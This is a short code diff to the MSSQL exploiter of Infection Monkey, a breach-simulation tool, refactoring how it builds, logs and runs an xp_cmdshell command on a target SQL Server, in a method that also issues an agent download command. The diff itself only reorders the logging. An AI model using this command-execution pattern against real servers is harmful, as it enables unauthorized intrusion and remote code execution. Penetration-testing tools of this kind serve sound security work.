diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index af3cdfb84..75c369ecf 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -158,9 +158,11 @@ class MSSQLExploiter(HostExploiter): self._run_mssql_command(agent_download_command) def _run_mssql_command(self, command: str): - logger.debug(f"Running command on SQL Server: {command}") + sql_server_command = f"xp_cmdshell '{command}'" - self.cursor.execute(f"xp_cmdshell '{command}'") + logger.debug(f"Running command on SQL Server: {sql_server_command}") + + self.cursor.execute(sql_server_command) self.add_executed_cmd(command) sleep(MSSQLExploiter.QUERY_BUFFER)